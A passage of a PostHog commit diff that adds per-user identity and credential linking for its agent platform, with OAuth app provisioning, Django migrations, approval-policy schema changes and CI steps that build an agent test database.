Skip to content

:hedgehog: PostHog is the leading platform for building self-driving products. Our developer tools – AI observability, analytics, session replay, flags, experiments, error tracking, logs, and more – capture all the context agents need to diagnose problems, uncover opportunities, and ship fixes. Steer it all from Slack, web, desktop, or the MCP.

feat(agent-platform): per-principal identity, credentials + approvals authority — act as the user across native tools & MCP (#64997)

Ben Whitebd1f7fafba78
diff --git a/.github/scripts/verify-storybook-new-stories.sh b/.github/scripts/verify-storybook-new-stories.sh
index fffaeef1323b..e4dc216c3879 100755
--- a/.github/scripts/verify-storybook-new-stories.sh
+++ b/.github/scripts/verify-storybook-new-stories.sh
@@ -106,10 +106,9 @@ for run in $(seq 1 "$REPEAT_COUNT"); do
set +e
# Run test-storybook directly (tests a pre-built storybook dist served over http-server).
# pipefail is set at script level so tee preserves the exit code.
- # --passWithNoTests: changed stories may live in a separate storybook
- # (e.g. services/agent-console, packages/agent-chat) that the main runner's
- # testMatch doesn't cover. Those are verified by their own CI, so finding no
- # matching tests here is not a failure.
+ # --passWithNoTests: changed stories may live in a separate storybook that
+ # the main runner's testMatch doesn't cover. Those are verified by their own
+ # CI, so finding no matching tests here is not a failure.
pnpm --filter=@posthog/storybook exec test-storybook \
$snapshot_flag --no-index-json --maxWorkers=1 \
--browsers chromium \
diff --git a/.github/workflows/ci-agents.yml b/.github/workflows/ci-agents.yml
index 9cbd8a156e2d..f670a566af8a 100644
--- a/.github/workflows/ci-agents.yml
+++ b/.github/workflows/ci-agents.yml
@@ -58,10 +58,11 @@ jobs:
- 'pnpm-lock.yaml'
- 'pnpm-workspace.yaml'
- '.oxlintrc.json'
+ - '.oxfmtrc*'
typecheck-lint:
if: needs.changes.outputs.agents == 'true'
- name: ${{ matrix.workspace }} typecheck + lint
+ name: ${{ matrix.workspace }} typecheck + lint + format
needs: changes
runs-on: depot-ubuntu-latest
timeout-minutes: 10
@@ -93,6 +94,12 @@ jobs:
- name: Lint
run: pnpm --filter="${{ matrix.workspace }}" lint
+ # The agent Node workspaces own their own oxfmt check, run per-workspace
+ # against the same root .oxfmtrc.json, so a service is format-gated by its
+ # own CI rather than relying on the repo-wide frontend formatting job.
+ - name: Format
+ run: pnpm --filter="${{ matrix.workspace }}" format:check
+
unit-tests:
if: needs.changes.outputs.agents == 'true'
name: ${{ matrix.workspace }} unit tests
@@ -147,14 +154,43 @@ jobs:
with:
install-command: pnpm --filter="${{ matrix.workspace }}..." install --frozen-lockfile
+ # Schema is Django-owned (the agent_platform product DB). The test DB
+ # is created fresh and migrated by Django below; `reset()` then only
+ # truncates between cases (see persistence/test-reset.ts). This is the
+ # single source of truth — no hand-maintained SQL snapshot to drift.
- name: Create empty test database
- # Schema lives in @posthog/agent-migrations; tests call
- # `reset()` per file (see vitest.config.ts fileParallelism:false)
- # so we just need an empty DB to drop into.
run: |
docker compose -f docker-compose.dev.yml exec -T db psql -U posthog -c "DROP DATABASE IF EXISTS agent_runtime_queue_test;"
docker compose -f docker-compose.dev.yml exec -T db psql -U posthog -c "CREATE DATABASE agent_runtime_queue_test;"
+ - name: Set up Python
+ uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405 # v6.2.0
+ with:
+ python-version-file: 'pyproject.toml'
+ token: ${{ github.token }}
+
+ - name: Install uv
+ uses: astral-sh/setup-uv@37802adc94f370d6bfd71619e3f0bf239e1f3b78 # v7.6.0
+ with:
+ version: '0.11.14' # pinned: unpinned setup-uv calls GH API on every job, exhausts rate limit
+ enable-cache: true
+ cache-dependency-glob: uv.lock
+ save-cache: ${{ github.ref == 'refs/heads/master' }}
+
+ - name: Install python dependencies
+ run: UV_PROJECT_ENVIRONMENT=$pythonLocation uv sync --frozen --dev
+
+ - name: Migrate agent_platform schema into the test DB
+ # Single source of truth: apply the Django agent_platform migrations
+ # to the test DB. PRODUCT_DB_AGENT_PLATFORM_WRITER_URL points the
+ # `agent_platform_db_writer` alias at it; migrate agent_platform --database
+ # agent_platform_db_writer then applies just the agent_platform app.
+ env:
+ DEBUG: '1'
+ PRODUCT_DB_AGENT_PLATFORM_WRITER_URL: 'postgres://posthog:posthog@localhost:5432/agent_runtime_queue_test'
+ PRODUCT_DB_CIRCUIT_BREAKER_ENABLED: '0'
+ run: UV_PROJECT_ENVIRONMENT=$pythonLocation uv run python manage.py migrate agent_platform --database agent_platform_db_writer
+
- name: Run unit tests
run: pnpm --filter="${{ matrix.workspace }}" test
@@ -196,13 +232,38 @@ jobs:
with:
install-command: pnpm --filter='@posthog/agent-tests...' install --frozen-lockfile
+ # Schema is Django-owned (the agent_platform product DB). The test DB
+ # is created fresh and migrated by Django below; the harness's
+ # `reset()` then only truncates between cases. Single source of truth.
- name: Create empty test database
- # Schema lives in @posthog/agent-migrations; the test harness
- # calls reset() per case, so we just need a fresh DB.
run: |
docker compose -f docker-compose.dev.yml exec -T db psql -U posthog -c "DROP DATABASE IF EXISTS agent_runtime_queue_test;"
docker compose -f docker-compose.dev.yml exec -T db psql -U posthog -c "CREATE DATABASE agent_runtime_queue_test;"
+ - name: Set up Python
+ uses: actions/setup-python@a309ff8b426b58ec0e2a45f0f869d46889d02405 # v6.2.0
+ with:
+ python-version-file: 'pyproject.toml'
+ token: ${{ github.token }}
+
+ - name: Install uv
+ uses: astral-sh/setup-uv@37802adc94f370d6bfd71619e3f0bf239e1f3b78 # v7.6.0
+ with:
+ version: '0.11.14' # pinned: unpinned setup-uv calls GH API on every job, exhausts rate limit
+ enable-cache: true
+ cache-dependency-glob: uv.lock
+ save-cache: ${{ github.ref == 'refs/heads/master' }}
+
+ - name: Install python dependencies
+ run: UV_PROJECT_ENVIRONMENT=$pythonLocation uv sync --frozen --dev
+
+ - name: Migrate agent_platform schema into the test DB
+ env:
+ DEBUG: '1'
+ PRODUCT_DB_AGENT_PLATFORM_WRITER_URL: 'postgres://posthog:posthog@localhost:5432/agent_runtime_queue_test'
+ PRODUCT_DB_CIRCUIT_BREAKER_ENABLED: '0'
+ run: UV_PROJECT_ENVIRONMENT=$pythonLocation uv run python manage.py migrate agent_platform --database agent_platform_db_writer
+
- name: Run e2e tests
run: pnpm --filter=@posthog/agent-tests test
diff --git a/.semgrep/rules/idor-team-scoped-models.yaml b/.semgrep/rules/idor-team-scoped-models.yaml
index 5c3b0f5963f8..5d3ec289a11d 100644
--- a/.semgrep/rules/idor-team-scoped-models.yaml
+++ b/.semgrep/rules/idor-team-scoped-models.yaml
@@ -59,6 +59,8 @@ rules:
|Action
|AgentApplication
|AgentArtifact
+ |AgentIdentityCredential
+ |AgentIdentityLinkState
|AgentRevision
|AgentSandboxInstance
|AgentSession
@@ -320,6 +322,8 @@ rules:
|Action
|AgentApplication
|AgentArtifact
+ |AgentIdentityCredential
+ |AgentIdentityLinkState
|AgentRevision
|AgentSandboxInstance
|AgentSession
diff --git a/bin/dev-sandbox.sb b/bin/dev-sandbox.sb
index 4a7fc223b5ed..1e03e9b2c87b 100644
--- a/bin/dev-sandbox.sb
+++ b/bin/dev-sandbox.sb
@@ -60,6 +60,11 @@
(subpath (string-append (param "HOME") "/.local/share/uv")) ; uv-managed Python interpreters (venv links here)
(subpath (string-append (param "HOME") "/.local/share/flox")) ; flox metadata
(subpath (string-append (param "HOME") "/Library/pnpm")) ; pnpm content-addressed store
+ ;; turbo (Vercel) global config — turbo reads auth.json on every run to check
+ ;; remote-cache login. A sandbox *deny* surfaces as EPERM, which turbo treats
+ ;; as a fatal "I/O error" (unlike a missing file, which it tolerates), killing
+ ;; the frontend pane. Read-only; the remote-cache token here is low-value.
+ (subpath (string-append (param "HOME") "/Library/Application Support/com.vercel.cli"))
(subpath (string-append (param "HOME") "/.duckdb")) ; duckdb extension cache (ducklake warmup installs/stats extensions here)
;; git global config (read by version-detection / git-aware tooling). Config
;; only, by exact path — credentials (~/.git-credentials, keychain) stay blocked.
diff --git a/bin/migrate-agent-test-db b/bin/migrate-agent-test-db
new file mode 100755
index 000000000000..8ebc9ba7ca50
--- /dev/null
+++ b/bin/migrate-agent-test-db
@@ -0,0 +1,32 @@
+#!/usr/bin/env bash
+set -euo pipefail
+
+# Create + migrate the agent_platform *test* database from the Django migrations
+# (products/agent_platform/backend/migrations/) -- the single source of truth for
+# the schema. The node agent test suites assume this schema already exists;
+# reset() (services/agent-shared/.../test-reset.ts) only truncates between cases.
+# Run this once before `pnpm --filter @posthog/agent-* test`, and again after
+# pulling a new agent_platform migration.
+#
+# Mirrors what CI does (.github/workflows/ci-agents.yml): drop + recreate the DB,
+# then `manage.py migrate agent_platform` onto the agent_platform_db_writer alias.
+
+cd "$(dirname "$0")/.."
+
+DB_NAME="${AGENT_TEST_DB_NAME:-agent_runtime_queue_test}"
+PG_HOST="${PGHOST:-localhost}"
+PG_PORT="${PGPORT:-5432}"
+PG_USER="${PGUSER:-posthog}"
+export PGPASSWORD="${PGPASSWORD:-posthog}"
+
+echo "Recreating database \"$DB_NAME\" on $PG_HOST:$PG_PORT ..."
+psql -h "$PG_HOST" -p "$PG_PORT" -U "$PG_USER" -d postgres -c "DROP DATABASE IF EXISTS \"$DB_NAME\";"
+psql -h "$PG_HOST" -p "$PG_PORT" -U "$PG_USER" -d postgres -c "CREATE DATABASE \"$DB_NAME\";"
+
+echo "Applying agent_platform Django migrations to \"$DB_NAME\" ..."
+DEBUG=1 \
+ PRODUCT_DB_AGENT_PLATFORM_WRITER_URL="postgres://$PG_USER:$PGPASSWORD@$PG_HOST:$PG_PORT/$DB_NAME" \
+ PRODUCT_DB_CIRCUIT_BREAKER_ENABLED=0 \
+ uv run python manage.py migrate agent_platform --database agent_platform_db_writer
+
+echo "Done -- \"$DB_NAME\" migrated, ready for the agent test suites."
diff --git a/bin/mprocs.yaml b/bin/mprocs.yaml
index 3a311bb83828..d912a9a7391a 100755
--- a/bin/mprocs.yaml
+++ b/bin/mprocs.yaml
@@ -253,6 +253,10 @@ procs:
groups:
layer: Product services
tech: Node
+ # Dev: tee JSON logs to a tmp file a local agent can read. See
+ # products/agent_platform/AGENTS.md.
+ env:
+ AGENT_LOG_FILE: '/tmp/posthog-agent-logs/agent-ingress.log'
agent-runner:
shell: 'bin/wait-for-docker && pnpm --filter @posthog/agent-runner start:dev'
@@ -261,6 +265,8 @@ procs:
groups:
layer: Processing
tech: Node
+ env:
+ AGENT_LOG_FILE: '/tmp/posthog-agent-logs/agent-runner.log'
agent-janitor:
shell: 'bin/wait-for-docker && pnpm --filter @posthog/agent-janitor start:dev'
@@ -269,6 +275,8 @@ procs:
groups:
layer: Processing
tech: Node
+ env:
+ AGENT_LOG_FILE: '/tmp/posthog-agent-logs/agent-janitor.log'
ai-gateway:
shell: 'bin/wait-for-docker && bin/start-ai-gateway'
diff --git a/devenv/intent-map.yaml b/devenv/intent-map.yaml
index 6b3076347f4c..cef113a64ccf 100644
--- a/devenv/intent-map.yaml
+++ b/devenv/intent-map.yaml
@@ -122,7 +122,9 @@ capabilities:
agent_runtime:
description: 'Agent platform runtime (products/agent_platform/services/agent-{ingress,runner,janitor})'
requires: [core_infra]
- docker_profiles: []
+ # SeaweedFS on :8333 — agent bundle + memory object storage (separate
+ # from the main `objectstorage` on :19000).
+ docker_profiles: [agents]
ai_gateway:
description: 'Local Go ai-gateway (sibling ~/Development/ai-gateway) - routes agent model calls'
diff --git a/docker-compose.profiles.yml b/docker-compose.profiles.yml
index 81c08777f8c0..722377f42e61 100644
--- a/docker-compose.profiles.yml
+++ b/docker-compose.profiles.yml
@@ -44,9 +44,9 @@ services:
webhook-tester:
profiles: [dev_tools]
- # Replay capability - session recording storage
+ # Session-recording storage (replay) + agent bundle/memory storage (agents).
seaweedfs:
- profiles: [replay]
+ profiles: [replay, agents]
# Cloud provider emulators
localstack:
diff --git a/hogli.yaml b/hogli.yaml
index a88cd90c2922..290bb005cd9d 100644
--- a/hogli.yaml
+++ b/hogli.yaml
@@ -1087,3 +1087,7 @@ environment:
bin_script: dev-open-when-ready
description: 'Open a URL in the browser once its server is listening (internal; runs unsandboxed so sandboxed procs can auto-open)'
hidden: true
+ migrate:agent:test:db:
+ bin_script: migrate-agent-test-db
+ description: Create + migrate the agent_platform test database from the Django migrations (single source of truth)
+ hidden: true
diff --git a/posthog/settings/agents.py b/posthog/settings/agents.py
index 7b75e7c52179..2035548ef443 100644
--- a/posthog/settings/agents.py
+++ b/posthog/settings/agents.py
@@ -34,7 +34,10 @@ AGENT_INTERNAL_SIGNING_KEY = get_from_env("AGENT_INTERNAL_SIGNING_KEY", "")
# a server-minted globally-unique slug (the slug is a single global namespace —
# see AgentApplication). This is our escape hatch so first-party agents (e.g.
# the concierge) keep a stable, human-readable slug across environments.
-# Comma-separated team ids; empty (default) → no team may set an explicit slug.
+# Comma-separated team ids. In local dev (DEBUG) the default project (1) is
+# allowlisted so the example seeder is idempotent and agents get stable,
+# human-readable slugs (e.g. `posthog-ai`) for Slack routing; prod sets it
+# explicitly (empty → no team may set an explicit slug).
AGENT_PLATFORM_EXPLICIT_SLUG_TEAM_IDS: set[int] = {
- int(team_id) for team_id in get_list(get_from_env("AGENT_PLATFORM_EXPLICIT_SLUG_TEAM_IDS", ""))
+ int(team_id) for team_id in get_list(get_from_env("AGENT_PLATFORM_EXPLICIT_SLUG_TEAM_IDS", "1" if DEBUG else ""))
}
diff --git a/products/agent_platform/AGENTS.md b/products/agent_platform/AGENTS.md
index 5a91001b1900..c973d3801fd9 100644
--- a/products/agent_platform/AGENTS.md
+++ b/products/agent_platform/AGENTS.md
@@ -62,6 +62,23 @@ have a case will silently regress when the node side evolves. See
[agent-tests/CLAUDE.md](../../products/agent_platform/services/agent-tests/CLAUDE.md) for the
pattern.
+## Reading service logs locally
+
+In dev the node services (`agent-ingress`, `agent-runner`, `agent-janitor`) tee
+their JSON logs to `/tmp/posthog-agent-logs/<service>.log` (set via
+`AGENT_LOG_FILE` per service in `bin/mprocs.yaml`) in addition to the mprocs pane.
+So you can read/grep them directly instead of scraping the terminal:
+
+```bash
+tail -n 200 /tmp/posthog-agent-logs/agent-runner.log
+# one session across all services:
+grep -h '<session_id>' /tmp/posthog-agent-logs/*.log | jq -c '{name,event,msg,err}'
+```
+
+Each line is a pino JSON record (`name` = subsystem, plus any bindings like
+`session_id`). Prod logs to stdout only; tests don't write files. Wired in
+`agent-shared/src/runtime/logger.ts`.
+
## Pointers
- **Local dev + MCP local + e2e overview** —
diff --git a/products/agent_platform/backend/logic/janitor_client.py b/products/agent_platform/backend/logic/janitor_client.py
index fdb57e9efb7c..95ab72b1c2fe 100644
--- a/products/agent_platform/backend/logic/janitor_client.py
+++ b/products/agent_platform/backend/logic/janitor_client.py
@@ -167,6 +167,7 @@ class JanitorClient:
offset: int | None = None,
state: str | None = None,
revision_id: str | None = None,
+ agent_user_id: str | None = None,
created_after: str | None = None,
created_before: str | None = None,
) -> dict:
@@ -181,6 +182,8 @@ class JanitorClient:
params["state"] = state
if revision_id:
params["revision_id"] = revision_id
+ if agent_user_id:
+ params["agent_user_id"] = agent_user_id
if created_after:
params["created_after"] = created_after
if created_before:
@@ -194,7 +197,7 @@ class JanitorClient:
return self._call("GET", f"/sessions/{session_id}", params=params)
# ── fleet stats ────────────────────────────────────────────────────────
- # Roll-up endpoints powering the agent-console overview tiles. The
+ # Roll-up endpoints powering the fleet overview tiles. The
# janitor side owns the JSONB read so Django doesn't reach across DBs.
def aggregate_for_application(self, application_id: str, *, since: str | None = None) -> dict:
@@ -390,6 +393,22 @@ class JanitorClient:
params["limit"] = limit
return self._call("GET", f"/memory/team/{team_id}/agent/{application_id}/search", params=params)
+ # ── users + linked identities ──────────────────────────────────────────
+ # The agent's end-users (agent_user) and their linked connections
+ # (agent_identity_credential). Metadata only — the janitor holds no
+ # decryption key, so credential material never crosses this boundary.
+
+ def list_users(self, team_id: int, application_id: str) -> dict:
+ """List the agent's end-users, each with their linked connections."""
+ return self._call("GET", f"/users/team/{team_id}/agent/{application_id}")
+
+ def delete_connection(self, team_id: int, application_id: str, agent_user_id: str, provider: str) -> dict:
+ """Revoke one linked connection (kept for audit, not hard-deleted)."""
+ return self._call(
+ "DELETE",
+ f"/users/team/{team_id}/agent/{application_id}/user/{agent_user_id}/connections/{provider}",
+ )
+
def default_client() -> JanitorClient:
"""One module-level singleton. Tests inject by monkey-patching this."""
diff --git a/products/agent_platform/backend/logic/posthog_identity_app.py b/products/agent_platform/backend/logic/posthog_identity_app.py
new file mode 100644
index 000000000000..0938e11ba562
--- /dev/null
+++ b/products/agent_platform/backend/logic/posthog_identity_app.py
@@ -0,0 +1,122 @@
+"""
+Managed PostHog identity provider provisioning.
+
+When an agent revision declares an identity provider of `{kind: "posthog"}`, the
+runtime needs a real OAuthApplication to run the link flow against. On promote we
+ensure that app exists (a NORMAL, user-consented app — deliberately not
+first-party, so linking shows PostHog's standard "allow this app to act as you"
+consent) and inject its `client_id` into the frozen spec, where the runner reads
+it. Idempotent: keyed on (organization, name); safe to call on every promote.
+
+Mirrors the org-scoped, select_for_update provisioning in
+posthog/api/oauth/toolbar_service.py.
+"""
+
+from __future__ import annotations
+
+from typing import TYPE_CHECKING
+
+from django.conf import settings
+from django.db import transaction
+
+import structlog
+
+from posthog.models import Organization, Team, User
+from posthog.models.oauth import OAuthApplication
+
+if TYPE_CHECKING:
+ from products.agent_platform.backend.models import AgentApplication, AgentRevision
+
+logger = structlog.get_logger(__name__)
+
+# Fallback when AGENT_INGRESS_PUBLIC_URL is unset — matches the runner's
+# linkRedirectBaseUrl default so the registered redirect URI lines up.
+_DEFAULT_INGRESS_BASE = "https://agents.posthog.com"
+
+
+def _ingress_base() -> str:
+ return (settings.AGENT_INGRESS_PUBLIC_URL or _DEFAULT_INGRESS_BASE).rstrip("/")
+
+
+def _ensure_oauth_app(
+ *, organization: Organization, user: User | None, name: str, redirect_uri: str, scopes: list[str]
+) -> OAuthApplication:
+ """Get-or-create the org's identity app for this agent. select_for_update on
+ the org row serializes first-time creation (no DB unique constraint for this
+ shape, same as the toolbar app)."""
+ with transaction.atomic():
+ Organization.objects.select_for_update().get(pk=organization.pk)
+
+ existing = OAuthApplication.objects.filter(
+ organization=organization,
+ name=name,
+ client_type=OAuthApplication.CLIENT_PUBLIC,
+ authorization_grant_type=OAuthApplication.GRANT_AUTHORIZATION_CODE,
+ ).first()
+ if existing:
+ changed: list[str] = []
+ if existing.redirect_uris != redirect_uri:
+ existing.redirect_uris = redirect_uri
+ changed.append("redirect_uris")
+ if list(existing.scopes or []) != list(scopes):
+ existing.scopes = scopes
+ changed.append("scopes")
+ if changed:
+ existing.save(update_fields=changed)
+ return existing
+
+ return OAuthApplication.objects.create(
+ name=name,
+ user=user,
+ organization=organization,
+ client_type=OAuthApplication.CLIENT_PUBLIC, # PKCE, no client secret
+ authorization_grant_type=OAuthApplication.GRANT_AUTHORIZATION_CODE,
+ redirect_uris=redirect_uri,
+ algorithm="RS256",
+ scopes=scopes,
+ # is_first_party stays False → the user sees the consent screen.
+ )
+
+
+def provision_posthog_identity_apps(
+ *, application: AgentApplication, revision: AgentRevision, acting_user: User | None
+) -> bool:
+ """Ensure an OAuthApplication for every `{kind: posthog}` identity provider in
+ the revision spec and inject its `client_id` into the spec. Returns True if the
+ spec was mutated (caller must persist `revision.spec`)."""
+ spec = revision.spec or {}
+ providers = spec.get("identity_providers") or []
+ posthog_entries = [p for p in providers if isinstance(p, dict) and p.get("kind") == "posthog"]
+ if not posthog_entries:
+ return False
+
+ organization = Team.objects.get(pk=application.team_id).organization
+ base = _ingress_base()
+
+ mutated = False
+ for entry in posthog_entries:
+ provider_id = entry.get("id") or "posthog"
+ redirect_uri = f"{base}/link/{provider_id}/callback"
+ scopes = list(entry.get("scopes") or [])
+ # Stable, readable, org-unique per (agent, provider).
+ name = f"Agent identity · {application.slug} · {provider_id}"
+
+ app = _ensure_oauth_app(
+ organization=organization,
+ user=acting_user,
+ name=name,
+ redirect_uri=redirect_uri,
+ scopes=scopes,
+ )
+ if entry.get("client_id") != app.client_id:
+ entry["client_id"] = app.client_id
+ mutated = True
+
+ if mutated:
+ logger.info(
+ "agent_posthog_identity_app_provisioned",
+ application_id=str(application.id),
+ revision_id=str(revision.id),
+ providers=[e.get("id") or "posthog" for e in posthog_entries],
+ )
+ return mutated
diff --git a/products/agent_platform/backend/logic/spec_schema.py b/products/agent_platform/backend/logic/spec_schema.py
index 7016ceb90548..3774492dcebc 100644
--- a/products/agent_platform/backend/logic/spec_schema.py
+++ b/products/agent_platform/backend/logic/spec_schema.py
@@ -42,12 +42,10 @@ from typing import Any
_APPROVAL_POLICY_JSON_SCHEMA: dict[str, Any] = {
"type": "object",
"properties": {
- "approvers": {
- "type": "array",
- "minItems": 1,
- "items": {"type": "string", "enum": ["team_admins", "session_principal"]},
- "default": ["team_admins"],
- },
+ # `principal` (default) — the session's principal clears it (a generic
+ # identity match, decided at the lightweight ingress API). `agent` — the
+ # agent's owners (created_by + team admins) clear it in the console.
+ "type": {"type": "string", "enum": ["principal", "agent"], "default": "principal"},
"allow_edit": {"type": "boolean", "default": False},
"ttl_ms": {
"type": "integer",
@@ -55,7 +53,6 @@ _APPROVAL_POLICY_JSON_SCHEMA: dict[str, Any] = {
"maximum": 7 * 24 * 60 * 60 * 1000,
"default": 24 * 60 * 60 * 1000,
},
- "allow_agent_approver": {"type": "boolean", "default": False},
},
"additionalProperties": False,
}
@@ -290,6 +287,7 @@ _AGENT_SPEC_JSON_SCHEMA_RAW: dict[str, Any] = {
"path": {"type": "string"},
"requires_approval": {"type": "boolean", "default": False},
"approval_policy": _APPROVAL_POLICY_JSON_SCHEMA,
+ "requires_identity": {"type": "string"},
},
"required": ["kind", "id", "path"],
"additionalProperties": False,
@@ -348,7 +346,10 @@ _AGENT_SPEC_JSON_SCHEMA_RAW: dict[str, Any] = {
"url": {"type": "string", "format": "uri"},
"auth": {
"type": "object",
- "properties": {"integration": {"type": "string"}},
+ "properties": {
+ "integration": {"type": "string"},
+ "provider": {"type": "string"},
+ },
"additionalProperties": False,
},
"secrets": {
@@ -383,32 +384,8 @@ _AGENT_SPEC_JSON_SCHEMA_RAW: dict[str, Any] = {
"properties": {
"name": {"type": "string", "minLength": 1},
"requires_approval": {"type": "boolean", "default": False},
- "approval_policy": {
- "type": "object",
- "properties": {
- "approvers": {
- "type": "array",
- "minItems": 1,
- "items": {
- "type": "string",
- "enum": ["team_admins", "session_principal"],
- },
- "default": ["team_admins"],
- },
- "allow_edit": {"type": "boolean", "default": False},
- "ttl_ms": {
- "type": "integer",
- "minimum": 60000,
- "maximum": 7 * 24 * 60 * 60 * 1000,
- "default": 24 * 60 * 60 * 1000,
- },
- "allow_agent_approver": {
- "type": "boolean",
- "default": False,
- },
- },
- "additionalProperties": False,
- },
+ # Same block as the native/custom tool refs — keep in sync.
+ "approval_policy": _APPROVAL_POLICY_JSON_SCHEMA,
},
"required": ["name"],
"additionalProperties": False,
@@ -442,6 +419,54 @@ _AGENT_SPEC_JSON_SCHEMA_RAW: dict[str, Any] = {
},
},
"integrations": {"default": [], "type": "array", "items": {"type": "string"}},
+ # Identity providers users can link against. Mirror IdentityProviderConfigSchema
+ # in services/agent-shared/src/spec/spec.ts.
+ "identity_providers": {
+ "default": [],
+ "type": "array",
+ "items": {
+ "oneOf": [
+ {
+ "type": "object",
+ "properties": {
+ "kind": {"type": "string", "const": "posthog"},
+ "id": {"type": "string", "minLength": 1, "default": "posthog"},
+ # `agent` (one app-scoped credential shared by every asker)
+ # isn't implemented at runtime yet, so it's rejected here
+ # until it lands — the runtime seam exists, but no spec can
+ # select it. Keep in lockstep with the zod enum in spec.ts.
+ "binding": {"type": "string", "enum": ["principal"], "default": "principal"},
+ "scopes": {"type": "array", "items": {"type": "string"}, "default": []},
+ # Backend-injected on promote (the provisioned
+ # OAuthApplication's client_id). Authors never set it.
+ "client_id": {"type": "string"},
+ },
+ "required": ["kind"],
+ "additionalProperties": False,
+ },
+ {
+ "type": "object",
+ "properties": {
+ "kind": {"type": "string", "const": "oauth2"},
+ "id": {"type": "string", "minLength": 1},
+ # `agent` (one app-scoped credential shared by every asker)
+ # isn't implemented at runtime yet, so it's rejected here
+ # until it lands — the runtime seam exists, but no spec can
+ # select it. Keep in lockstep with the zod enum in spec.ts.
+ "binding": {"type": "string", "enum": ["principal"], "default": "principal"},
+ "authorize_url": {"type": "string", "format": "uri"},
+ "token_url": {"type": "string", "format": "uri"},
+ "client_id": {"type": "string", "minLength": 1},
+ "client_secret_ref": {"type": "string"},
+ "scopes": {"type": "array", "items": {"type": "string"}, "default": []},
+ "userinfo_url": {"type": "string", "format": "uri"},
+ },
+ "required": ["kind", "id", "authorize_url", "token_url", "client_id"],
+ "additionalProperties": False,
+ },
+ ]
+ },
+ },
# Two accepted forms — mirrors `SecretRefSchema` in
# services/agent-shared/src/spec/spec.ts. The bare-string form
# declares a resolvable name without authority to be sent over the
diff --git a/products/agent_platform/backend/migrations/0007_agent_identity_linking.py b/products/agent_platform/backend/migrations/0007_agent_identity_linking.py
new file mode 100644
index 000000000000..5f4c5bcc921d
--- /dev/null
+++ b/products/agent_platform/backend/migrations/0007_agent_identity_linking.py
@@ -0,0 +1,114 @@
+# Per-principal identity linking: a persistent encrypted credential store keyed
+# by (agent_user, provider), plus a single-use signed-state row for in-flight
+# OAuth link round-trips. See plan agent-slack-identity-and-credential-linking.md.
+
+import django.db.models.manager
+import django.contrib.postgres.fields
+import django.db.models.functions.datetime
+from django.db import migrations, models
+
+import posthog.models.utils
+
+
+class Migration(migrations.Migration):
+ dependencies = [
+ ("agent_platform", "0006_remove_agentapplication_encrypted_env"),
+ ]
+
+ operations = [
+ migrations.CreateModel(
+ name="AgentIdentityCredential",
+ fields=[
+ (
+ "id",
+ models.UUIDField(
+ default=posthog.models.utils.uuid7,
+ editable=False,
+ primary_key=True,
+ serialize=False,
+ ),
+ ),
+ ("team_id", models.BigIntegerField(db_index=True)),
+ ("application_id", models.UUIDField()),
+ ("agent_user_id", models.UUIDField()),
+ ("provider", models.TextField()),
+ ("encrypted_credentials", models.TextField()),
+ (
+ "scopes",
+ django.contrib.postgres.fields.ArrayField(
+ base_field=models.TextField(), db_default=models.Value("{}"), default=list, size=None
+ ),
+ ),
+ ("state", models.TextField(db_default="active", default="active")),
+ ("access_expires_at", models.DateTimeField(blank=True, null=True)),
+ (
+ "created_at",
+ models.DateTimeField(auto_now_add=True, db_default=django.db.models.functions.datetime.Now()),
+ ),
+ (
+ "updated_at",
+ models.DateTimeField(auto_now=True, db_default=django.db.models.functions.datetime.Now()),
+ ),
+ ("revoked_at", models.DateTimeField(blank=True, null=True)),
+ ],
+ options={
+ "db_table": "agent_identity_credential",
+ },
+ managers=[
+ ("all_teams", django.db.models.manager.Manager()),
+ ],
+ ),
+ migrations.CreateModel(
+ name="AgentIdentityLinkState",
+ fields=[
+ (
+ "id",
+ models.UUIDField(
+ default=posthog.models.utils.uuid7,
+ editable=False,
+ primary_key=True,
+ serialize=False,
+ ),
+ ),
+ ("team_id", models.BigIntegerField(db_index=True)),
+ ("application_id", models.UUIDField()),
+ ("agent_user_id", models.UUIDField()),
+ ("provider", models.TextField()),
+ (
+ "scopes",
+ django.contrib.postgres.fields.ArrayField(
+ base_field=models.TextField(), db_default=models.Value("{}"), default=list, size=None
+ ),
+ ),
+ ("code_verifier", models.TextField()),
+ ("redirect_uri", models.TextField()),
+ ("expires_at", models.DateTimeField()),
+ ("used_at", models.DateTimeField(blank=True, null=True)),
+ (
+ "created_at",
+ models.DateTimeField(auto_now_add=True, db_default=django.db.models.functions.datetime.Now()),
+ ),
+ ],
+ options={
+ "db_table": "agent_identity_link_state",
+ },
+ managers=[
+ ("all_teams", django.db.models.manager.Manager()),
+ ],
+ ),
+ migrations.AddConstraint(
+ model_name="agentidentitycredential",
+ constraint=models.UniqueConstraint(
+ fields=("agent_user_id", "provider"),
+ name="agent_identity_credential_unique_user_provider",
+ ),
+ ),
+ migrations.AddIndex(
+ model_name="agentidentitycredential",
+ index=models.Index(fields=["application_id"], name="aic_application_idx"),
+ ),
+ migrations.AddIndex(
+ model_name="agentidentitylinkstate",
+ index=models.Index(fields=["expires_at"], name="ails_expires_idx"),
+ ),
+ ]
diff --git a/products/agent_platform/backend/migrations/0008_agent_identity_subject.py b/products/agent_platform/backend/migrations/0008_agent_identity_subject.py
new file mode 100644
index 000000000000..26e3f6d93010
--- /dev/null
+++ b/products/agent_platform/backend/migrations/0008_agent_identity_subject.py
@@ -0,0 +1,35 @@
+# Subject refactor: the proven external identity now lives on the credential
+# (agent_identity_credential.subject), not on agent_user. Drop the field from the
+# model and add the generic subject field. See M6 in
+# plan agent-slack-identity-and-credential-linking.md.
+
+from django.db import migrations, models
+
+
+class Migration(migrations.Migration):
+ dependencies = [
+ ("agent_platform", "0007_agent_identity_linking"),
+ ]
+
+ operations = [
+ # State-only removal of `posthog_user_id`: the model no longer has the
+ # field, but we do NOT `DROP COLUMN`. A destructive drop breaks rolling
+ # deploys (old code still references it) and can't be rolled back, so the
+ # migration safety check blocks it. The column lingers (nullable, unused)
+ # until a later migration drops it once this removal has fully deployed.
+ # See handbook safe-django-migrations.md "Dropping Columns".
+ migrations.SeparateDatabaseAndState(
+ state_operations=[
+ migrations.RemoveField(
+ model_name="agentuser",
+ name="posthog_user_id",
+ ),
+ ],
+ database_operations=[],
+ ),
+ migrations.AddField(
+ model_name="agentidentitycredential",
+ name="subject",
+ field=models.TextField(blank=True, null=True),
+ ),
+ ]
diff --git a/products/agent_platform/backend/migrations/max_migration.txt b/products/agent_platform/backend/migrations/max_migration.txt
index f72a31583ed5..c5873b89a946 100644
--- a/products/agent_platform/backend/migrations/max_migration.txt
+++ b/products/agent_platform/backend/migrations/max_migration.txt
@@ -1 +1 @@
-0006_remove_agentapplication_encrypted_env
